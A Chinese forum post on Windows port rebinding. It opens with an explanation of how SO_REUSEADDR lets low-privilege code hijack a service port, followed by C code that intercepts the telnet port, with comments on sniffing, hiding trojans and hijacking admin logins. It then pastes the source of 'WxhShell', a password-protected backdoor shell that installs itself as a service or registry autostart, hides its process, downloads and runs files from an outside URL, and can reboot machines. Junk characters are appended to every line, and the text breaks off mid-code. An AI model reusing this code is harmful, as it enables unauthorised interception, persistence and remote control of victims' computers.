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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: u8N+ht@  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ]b<k%  
} "y{d@  
  saddr.sin_family = AF_INET; 94|BSxc  
n&[U/`o  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); -_pI:K[  
m2<sVTN`^  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); )X| uOg&|  
{u46m  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 3r^i>r8B  
D@d/O  
  这意味着什么?意味着可以进行如下的攻击: ycCEXu2F  
Te!q(;L`4  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Z^`>;n2  
G*Z4~-E4*  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Dw6Q2Gnv  
t]" 3vE>  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 K-_e' )22.  
Z10#6v  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  pU`Q[HOs  
vD}y%}  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 }L@!TWR-Qu  
0=(5C\w2  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ?exV:OKLb  
WZ"x\K-;  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 r#3_F=xL5  
m]Z& .,bA  
  #include LfrS:g  
  #include A*~zdZ p  
  #include &gcKv1a\  
  #include    i6(y Bn  
  DWORD WINAPI ClientThread(LPVOID lpParam);   zj`!ZY?fv  
  int main() `N8A{8$qv  
  { )>$xbo")k  
  WORD wVersionRequested; C8@SuJ  
  DWORD ret; L&'2  
  WSADATA wsaData; CQzJ_aSJ (  
  BOOL val; sRb)*p'  
  SOCKADDR_IN saddr; (K>5DU  
  SOCKADDR_IN scaddr; QSEf  
  int err; NBE)DL  
  SOCKET s; n>Q/XQXB  
  SOCKET sc; -~v;'zOO  
  int caddsize; AVi w}Y J  
  HANDLE mt; EQz`o+  
  DWORD tid;   &kRkOjuk  
  wVersionRequested = MAKEWORD( 2, 2 ); +`_%U7p(  
  err = WSAStartup( wVersionRequested, &wsaData ); O^4:4tRpt  
  if ( err != 0 ) { Z]":xl\7  
  printf("error!WSAStartup failed!\n"); AXz'=T}{  
  return -1; )5)S8~Oc  
  } B]InOlc47  
  saddr.sin_family = AF_INET; &FIPEe#n  
   ^0A'XCULG  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 mTYEK4}  
r/+ <_3  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); (?I8/KYR  
  saddr.sin_port = htons(23); KDwjck"5;  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 8GV$L~i  
  {  [L] ca*  
  printf("error!socket failed!\n"); qnv9?Xh  
  return -1; C-m OtI  
  } 6#KRI%adw`  
  val = TRUE; =?0o5|u]  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 l)HF4#Bs  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) .P9ALJP(b  
  { y7ijT='8  
  printf("error!setsockopt failed!\n"); k P>G4$e_v  
  return -1; X@5!I+u\L  
  } XQ%*U=)s  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Pc`d@q  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 C8DZ:3E$c  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 4)*8&  
PDzVXLpC  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) s==gjA e:  
  {  [9~Bau  
  ret=GetLastError(); }*hY#jo1  
  printf("error!bind failed!\n"); @T|mHfQ8  
  return -1; {SbA(a?B  
  } y 7|x<Z  
  listen(s,2); h$G&4_O  
  while(1) 9L]x9lI;  
  { N3TkRJZ  
  caddsize = sizeof(scaddr); c*9RzD#Zj  
  //接受连接请求 x'+lNlv  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 3 =KfNz_  
  if(sc!=INVALID_SOCKET) q[ ] "`?  
  { pZuYmMP  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Txj%o5G  
  if(mt==NULL) }>6=(!  
  { ,/C<GFae  
  printf("Thread Creat Failed!\n"); A+69_?B TH  
  break; G5Y 8]N  
  } r,A750P^  
  } ="P 3TP  
  CloseHandle(mt); e 9U\48  
  } T8JM4F  
  closesocket(s); peY(4#  
  WSACleanup(); `QC{}Oo^  
  return 0; n1a;vE{!  
  }   ~*ZB2  
  DWORD WINAPI ClientThread(LPVOID lpParam) kb Fr  
  { 8tK8|t5+  
  SOCKET ss = (SOCKET)lpParam; L/1?PM  
  SOCKET sc; 89Svx5S  
  unsigned char buf[4096]; LL7a 20  
  SOCKADDR_IN saddr; l&dHH_m3  
  long num; E#URTt:&>  
  DWORD val; #'mb9GWD3  
  DWORD ret; KxqT5`P&  
  //如果是隐藏端口应用的话,可以在此处加一些判断 M6jP>fbV*  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发    2(YZTaY  
  saddr.sin_family = AF_INET; |g}! F-  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); zT6ng#  
  saddr.sin_port = htons(23); .1XZ9M  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Hz`rw\\Xq  
  { B)Hs>Mh|W  
  printf("error!socket failed!\n"); $M@SZknm  
  return -1; @f{yx\u/  
  } R)?K+cJ%  
  val = 100; ja$e)  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) [9u/x%f(  
  { #?k$0|60  
  ret = GetLastError(); f"~+mO  
  return -1; +M/04  
  } A=o p R  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) &kB[jz_[A  
  { >r2m1}6g"  
  ret = GetLastError(); L~cswG'K  
  return -1; 2fT't"gw  
  } S)p{4`p%  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ?"$W=*P\o  
  { |Vs|&0  
  printf("error!socket connect failed!\n"); Ua#*kTF  
  closesocket(sc); =#[_8)q  
  closesocket(ss); dJ"3F(X  
  return -1; X4>c(1e  
  } wO@b=1j  
  while(1) l!ltgj  
  { H'-Fv!l?  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 D9B?9Qt2[  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 L}ud+Wfox  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 p#HPWW"  
  num = recv(ss,buf,4096,0); c=<d99Cu!  
  if(num>0) C"PN3>x}j  
  send(sc,buf,num,0); hun L V8z  
  else if(num==0) a5{CkM&,(  
  break; #m1e_[   
  num = recv(sc,buf,4096,0); [3>l^Q|#  
  if(num>0) 6|r` k75.  
  send(ss,buf,num,0); : FF:{&d  
  else if(num==0) 'm# -)R!  
  break; j wlmWO6  
  } W1f]A#t<  
  closesocket(ss); wb 2N$Ew=  
  closesocket(sc); +^{;o0kcx  
  return 0 ; M@UkXA}  
  } :Qh5ZO&G0  
NDglse  
CsS0(n(x  
========================================================== y4$UPLm  
Z`v6DfK}  
下边附上一个代码,,WXhSHELL O66\s q  
&ME[H  
========================================================== %4Ylq|d  
@Ytsb!!  
#include "stdafx.h" e<dFvMO  
}r3, fH  
#include <stdio.h> ?d%+85  
#include <string.h> KYD,eVQ  
#include <windows.h> oOy@X =cw  
#include <winsock2.h> E,JDO d}  
#include <winsvc.h> >^ 0JlL`XG  
#include <urlmon.h> 4NUCLr7Y  
e2*0NT^R  
#pragma comment (lib, "Ws2_32.lib") &_HSrU  
#pragma comment (lib, "urlmon.lib") W}EI gVHs  
#M&rmKv)g  
#define MAX_USER   100 // 最大客户端连接数 @g(N!n~  
#define BUF_SOCK   200 // sock buffer  HUr;ysw  
#define KEY_BUFF   255 // 输入 buffer 64z9Yr@  
PA 5ET@mD  
#define REBOOT     0   // 重启 MI0'ou8l  
#define SHUTDOWN   1   // 关机 s<5q%5ix3  
SE)_5|k*  
#define DEF_PORT   5000 // 监听端口 =H.l/'/Z  
z11;r]VI  
#define REG_LEN     16   // 注册表键长度 S,fMGKcq  
#define SVC_LEN     80   // NT服务名长度 Za}*6N=?*  
w&f8AY)#]4  
// 从dll定义API kEf}yTy  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); FSoL|lH  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); @=h%;"  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); - y{*U1[  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); >~_y\  
9G` 2t~%  
// wxhshell配置信息 h']R P  
struct WSCFG { ,RKBGOz?f  
  int ws_port;         // 监听端口 I7r{&X) D  
  char ws_passstr[REG_LEN]; // 口令 YR'?fr  
  int ws_autoins;       // 安装标记, 1=yes 0=no E0$UoP   
  char ws_regname[REG_LEN]; // 注册表键名 'Sppm;?  
  char ws_svcname[REG_LEN]; // 服务名 F\Q)l+c  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 @/l{  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 J:dF^3Y  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 #`RY KQwB  
int ws_downexe;       // 下载执行标记, 1=yes 0=no \)eHf 7H  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" KGxF3xS*7  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Gg|'T}0X  
4*&x% ~*  
}; &eQzfx=|km  
eJ +;!0  
// default Wxhshell configuration L~x3}o$-o  
struct WSCFG wscfg={DEF_PORT, h>sz@\{  
    "xuhuanlingzhe", OYzt>hdH  
    1, #B8`qFpQC  
    "Wxhshell", }oigZI(1  
    "Wxhshell", !;{@O`j?b  
            "WxhShell Service", GRCc<TM, U  
    "Wrsky Windows CmdShell Service", YN?@ S  
    "Please Input Your Password: ", GK)3a 9;  
  1, g9}u6q  
  "http://www.wrsky.com/wxhshell.exe", Y'i0=w6G  
  "Wxhshell.exe" nMx0+N1  
    }; 0&=2+=[c  
0*L|r Jf  
// 消息定义模块 `!S5FE"-  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; /D`M?nD7  
char *msg_ws_prompt="\n\r? for help\n\r#>"; sSd  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; )MZ]c)JD^  
char *msg_ws_ext="\n\rExit."; NLyvi,svS  
char *msg_ws_end="\n\rQuit."; Wa #,>  
char *msg_ws_boot="\n\rReboot..."; Hj |~*kG  
char *msg_ws_poff="\n\rShutdown..."; V]L$`7G  
char *msg_ws_down="\n\rSave to "; 2FD[D `n]f  
tBtJRi(  
char *msg_ws_err="\n\rErr!"; nT` NfN  
char *msg_ws_ok="\n\rOK!"; I{<6GIU+  
/O|!Sg{  
char ExeFile[MAX_PATH]; r(yJE1Wz  
int nUser = 0; QtJe){(z+  
HANDLE handles[MAX_USER]; <89@k(\ /  
int OsIsNt; (aVs p*E  
$5GvF1  
SERVICE_STATUS       serviceStatus; Jme}{!3m  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; B/q/sC  
kF3 EJ  
// 函数声明 8R`@edj>  
int Install(void); 0t}=F 4@&a  
int Uninstall(void); Y:&1;`FBZ  
int DownloadFile(char *sURL, SOCKET wsh); _55T  
int Boot(int flag); ,r{*o6  
void HideProc(void); 4U<'3~RN  
int GetOsVer(void); <]/`#Xgh  
int Wxhshell(SOCKET wsl); m}:";>?#  
void TalkWithClient(void *cs); 2n?\tOm(V  
int CmdShell(SOCKET sock); &~pj)\_  
int StartFromService(void); IE$x2==)  
int StartWxhshell(LPSTR lpCmdLine); 6T< ~mn  
@pQv}%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); U(-9xp+  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); daWmF  
>4ebvM 0|  
// 数据结构和表定义 75K~ebRr  
SERVICE_TABLE_ENTRY DispatchTable[] = Vm'ReH  
{ ~ i1w,;(  
{wscfg.ws_svcname, NTServiceMain}, l"}W $3]u$  
{NULL, NULL} M$FXDyr  
}; vxUJ4|Qz  
{-^>) iJqt  
// 自我安装 $^IuE0.  
int Install(void) $Bz|[=  
{ JnhHV(H  
  char svExeFile[MAX_PATH]; +6*oO|   
  HKEY key; lk \|EG  
  strcpy(svExeFile,ExeFile); UL; d H  
KZ ?<&x  
// 如果是win9x系统,修改注册表设为自启动 6Kh: m-E9  
if(!OsIsNt) { 0MMY{@n  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { zF;}b3oIo  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 86/CA[Y-  
  RegCloseKey(key); L}nj#z4g  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <%JdQ82?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); lcJ`OLG  
  RegCloseKey(key); ll1?I8}5|  
  return 0; J4j?rLR3p  
    } [Qy]henK  
  } *Zt)J8C  
} ;PaB5TT(  
else { TmKO/N@}  
2-o,4EfHVO  
// 如果是NT以上系统,安装为系统服务 XT{1!I(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 6]T02;b>/,  
if (schSCManager!=0) r NU,(htS  
{ 20^F -,z  
  SC_HANDLE schService = CreateService  8czo#&  
  ( o|]xj'  
  schSCManager, j2qDRI  
  wscfg.ws_svcname, 9`dQ7z.8t  
  wscfg.ws_svcdisp, =)Ew6} W6  
  SERVICE_ALL_ACCESS, .{7?Y;_(  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , oVoTnGNM6  
  SERVICE_AUTO_START, TT .EQv5  
  SERVICE_ERROR_NORMAL, zY[6Ia{L  
  svExeFile, R{!s%K&  
  NULL, zq4,%$y8|  
  NULL, ]!YzbvoR  
  NULL, xVfJ ]Y  
  NULL, t1Hd-]28V  
  NULL /,Ln)?eD  
  ); A!fjw  
  if (schService!=0) hx)Ed  
  { KPW: r#d  
  CloseServiceHandle(schService); |t]-a%A=w  
  CloseServiceHandle(schSCManager); 3(^9K2.s}  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); lxbbyy25  
  strcat(svExeFile,wscfg.ws_svcname); PwF}yx kI  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { N g'f u|  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); -jC. dz  
  RegCloseKey(key); WRVKh  
  return 0; Fj1/B0acS  
    } '(2G qX!  
  } ,>{4*PM(  
  CloseServiceHandle(schSCManager); X?>S24I"9  
} tjDVU7um  
} ed{z^!w4  
}5Y.N7F  
return 1; &`@,mUi{Ac  
} 1(q!.lPc  
H1 \~T  
// 自我卸载 >%#J8  
int Uninstall(void) Zs+6Zd4f  
{ (d#?\  
  HKEY key; Esw&ScBOP  
jXZKR(L  
if(!OsIsNt) { HP]Xh~aP  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { UY}lJHp0  
  RegDeleteValue(key,wscfg.ws_regname); WNm,r>6m  
  RegCloseKey(key); ]YevO(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { He#+zE ;  
  RegDeleteValue(key,wscfg.ws_regname); _<t3~{qUT  
  RegCloseKey(key); xBB:b\  
  return 0; WpTC,~-  
  } %*|XN*iXC  
} }{iR+M X  
} 14oD^`-t  
else { fD,#z&  
3XL0Pm  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); QR4v6*VpD  
if (schSCManager!=0) Yo7ctwzdH;  
{ wfo}TGhC  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); lJ7k4ua\  
  if (schService!=0) m?[F)<~a  
  { t$\]6RU  
  if(DeleteService(schService)!=0) { O,^,G<`  
  CloseServiceHandle(schService); >^<qke  
  CloseServiceHandle(schSCManager); '?3Hy|}  
  return 0; 3D<P [.bS  
  } 2jx""{  
  CloseServiceHandle(schService); /^4)V8D_S  
  } 4`Fbl]Q   
  CloseServiceHandle(schSCManager); %}j/G l5  
} [c>X Q  
} Onot<}K  
*:YW@Gbm  
return 1; SvI  
}  zKT \i  
N66jFRA;x  
// 从指定url下载文件 x!I7vs~~zW  
int DownloadFile(char *sURL, SOCKET wsh)  |2n2  
{ uO"@YX/  
  HRESULT hr; i}HF  
char seps[]= "/"; ?\c*DNM'  
char *token; .@B \&U7  
char *file; u;=("S{"0  
char myURL[MAX_PATH]; <#`<Ys3b*!  
char myFILE[MAX_PATH]; ^GRd;v=-@  
uidE/7  
strcpy(myURL,sURL); 6GJ?rE E/  
  token=strtok(myURL,seps); z#,?*v  
  while(token!=NULL) yGS._;#R  
  { T( ;BEyc?  
    file=token; Oh8;YE-%  
  token=strtok(NULL,seps); :Ur%.0  
  } (%I`EAR  
Lo;T\C N  
GetCurrentDirectory(MAX_PATH,myFILE); =faV,o&{`  
strcat(myFILE, "\\"); 7Kh+m@q.  
strcat(myFILE, file); Xc Pn  
  send(wsh,myFILE,strlen(myFILE),0); k)S7SbQ  
send(wsh,"...",3,0); !3HMGzt  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); v t(kL(}v  
  if(hr==S_OK) U6M4}q(N]  
return 0; zEks4yd  
else #}k^g:l1  
return 1; >aa-ix &  
:=~([oSNW"  
} t5 5k#`Z  
QV?\?9(  
// 系统电源模块 F~* 5`o  
int Boot(int flag) :UScbPG  
{ > ]6Eb`v  
  HANDLE hToken; \J1Jn~  
  TOKEN_PRIVILEGES tkp; [8)Zhw$  
t3bN P K^  
  if(OsIsNt) { b,SY(Ce~g  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); )ZiJl5l@  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); %PkJ7-/b|^  
    tkp.PrivilegeCount = 1; Rjh/M`|  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; t%8*$"~X  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); N'[^n,\(:  
if(flag==REBOOT) { `D?vmSQ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) (a)d7y.oo  
  return 0; kyY tL_SD  
} RYvS,hf 6z  
else { IClnh1=  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ri\r%x  
  return 0; {},G xrQm  
} E-! `6  
  } 6oJ~Jdn'  
  else { ZEApE+m  
if(flag==REBOOT) { ?[VS0IBS  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) eb:uh!  
  return 0; -y$|EOi?  
} tWc!!Hf2j  
else { nq_sbli  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) \UK  9  
  return 0; L TO1LAac  
} Lww0LH >  
} wcV~z:&^5  
Soop)e  
return 1; 501|Y6ptl  
} AZtZa'hbkQ  
!@*Ac$J>$  
// win9x进程隐藏模块 wAy;ZNu  
void HideProc(void) ^iTjr$hQ;  
{ >gVR5o  
srC'!I=s>8  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); f#mY44:,C  
  if ( hKernel != NULL ) TQnMPELh"  
  { 'VO^H68  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); PW.W.<CL  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 'MsxZqW"~  
    FreeLibrary(hKernel); 4pA(.<#A  
  } 5GpR N  
]A!Gr(FHQ  
return; |yQ3H)qB#  
} #x "pG  
c: #1Aym  
// 获取操作系统版本 *4+;E y  
int GetOsVer(void) BU])@~$  
{ qFvtqv2  
  OSVERSIONINFO winfo; rF 7EO%,  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); )!M:=}."  
  GetVersionEx(&winfo); }{ 9E~"_[  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) LI(Wu6*Y  
  return 1; Yo:>m*31  
  else uZW1 :cx  
  return 0;  H\)on"  
} j;<;?IW  
RCgs3JIE+2  
// 客户端句柄模块 ,=z8aiUu  
int Wxhshell(SOCKET wsl) G~^Pkl3%T  
{ w{Dk,9>w)  
  SOCKET wsh; [h,T.zpa  
  struct sockaddr_in client; 1 3  
  DWORD myID; n;!t?jnf.  
#nn2odR  
  while(nUser<MAX_USER) |4 wVWJ7   
{ e9N 1xB  
  int nSize=sizeof(client); O7q-MeMM  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); tS`fG;  
  if(wsh==INVALID_SOCKET) return 1; w,JB`jS)/  
KWhw@y-5j@  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); eGnc6)x@C  
if(handles[nUser]==0) 1LcQ*d  
  closesocket(wsh); spn1Ji  
else I[&z#foN=w  
  nUser++; l<^#@SH  
  } .F}ZP0THnZ  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 3Jk;+<  
}&;0:hw%  
  return 0; >*Y~I0>  
} ,?i#NN5p  
`EV[uj&1S  
// 关闭 socket  ae#7*B  
void CloseIt(SOCKET wsh) (~/D*<A  
{ $NJi]g|<3  
closesocket(wsh); k,b(MAiQ0  
nUser--; O^oFH OpFh  
ExitThread(0); #!9aTp).AL  
} js7J#b7  
CWt,cwFW  
// 客户端请求句柄 UZ&bT'>;9g  
void TalkWithClient(void *cs) O,:ent|  
{ o_os;  
&|Z:8]'P  
  SOCKET wsh=(SOCKET)cs; T4qbyui{  
  char pwd[SVC_LEN]; ugucq},[  
  char cmd[KEY_BUFF]; )Q(tryiSi  
char chr[1]; >^> \y8on  
int i,j; z26zl[.  
B 2&fvv?  
  while (nUser < MAX_USER) { \asF~P  
S 8h/AW6l  
if(wscfg.ws_passstr) { Q|+m)A4@  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); lHz:Iibt  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }=7tGqfw  
  //ZeroMemory(pwd,KEY_BUFF); &bnF{~<\  
      i=0; 7P!/jaw xb  
  while(i<SVC_LEN) { u[PO'6Kzd  
WB $Z<m :  
  // 设置超时 ]@M$.msg@  
  fd_set FdRead; -4Y}Y5 9\  
  struct timeval TimeOut; w doA>a?q  
  FD_ZERO(&FdRead); CI$F#j  
  FD_SET(wsh,&FdRead); fd*=`+P  
  TimeOut.tv_sec=8; -Qqb/y  
  TimeOut.tv_usec=0; op&,&  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); yIqsZJj  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); NfS0yQPx  
b 3D:w{l  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); GEIMCg(TRj  
  pwd=chr[0]; (/Z~0hA[Q  
  if(chr[0]==0xd || chr[0]==0xa) { @T]gw J  
  pwd=0; T(7 8{A>  
  break; o<@2zhuhrx  
  } 6+m)   
  i++; %|oY8;0|A>  
    } )^g}'V=vIr  
K'N\"Y?>  
  // 如果是非法用户,关闭 socket y.w/7iw:  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); M)Tv(7  
} a5z.c_7r  
Mz+|~'R  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); rm(<?w%'?  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `H ^Nc\P#  
DQH _@-q  
while(1) { aztP`S$h  
4D9l Za}  
  ZeroMemory(cmd,KEY_BUFF); XC0G5rtB  
lb`P9mbr+  
      // 自动支持客户端 telnet标准   x-CY G?-x  
  j=0; =<O{  
  while(j<KEY_BUFF) { 6i%LM`8GEk  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); a%Cq?HZ7  
  cmd[j]=chr[0]; ~$!eB/6ty  
  if(chr[0]==0xa || chr[0]==0xd) { !);}zW!  
  cmd[j]=0; &g.w~KWa  
  break; t<}'/ )  
  } +5? s Yp\  
  j++; j\!zz  
    } dFo9O!YX[f  
VXR.2C  
  // 下载文件 ^*%p]r  
  if(strstr(cmd,"http://")) { aSXoYG0\  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); w*#TS8 \  
  if(DownloadFile(cmd,wsh)) A{mbL2AxwC  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); xgsD<3  
  else "p2 $R*ie  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >UWL T;N/W  
  } k[y{&f,  
  else { k;;?3)!  
%49@  
    switch(cmd[0]) { ~e,  
  Q3wD6!'&m  
  // 帮助 ?ti7iBz?  
  case '?': { eV1O#FLbi  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); zrRt0}?xl  
    break;  L~I<y;x  
  } 7<|1 xOT  
  // 安装 <MA!?7Z|  
  case 'i': { b (;"p-^  
    if(Install())  6:ZqS~-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5}e-\:J >B  
    else [$8*(d"F'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); nU)}!` E  
    break; kh^AH6{2  
    } j4ypXPY``!  
  // 卸载 pc:K5 -Os  
  case 'r': { q|=tt(}G  
    if(Uninstall()) tvf"w`H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A{y3yH`#h  
    else Ny\iRU)fN  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); NAx( Qi3  
    break; jWUN~#p!  
    } 1g2%f9G  
  // 显示 wxhshell 所在路径 R 4E0avt  
  case 'p': { kH-1l>":  
    char svExeFile[MAX_PATH]; scJ`oc: <J  
    strcpy(svExeFile,"\n\r"); *=~ 9?  
      strcat(svExeFile,ExeFile); jEit^5^5|  
        send(wsh,svExeFile,strlen(svExeFile),0); oel3H5Nz  
    break; #s(B,`?N  
    } Fl(+c0|kT  
  // 重启 E)#3*Wlu$  
  case 'b': { [^1;8Tbk  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); !i.`m-J*  
    if(Boot(REBOOT)) .fU qsq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !COaPrg  
    else { isQ{Xt~K  
    closesocket(wsh); "aB]?4  
    ExitThread(0); VqVP5nT'=  
    } 0Q]x[;!k  
    break; pFGdm3pV  
    }  J@(*(oQb  
  // 关机 }P-9\*hlm  
  case 'd': { xg. d)n  
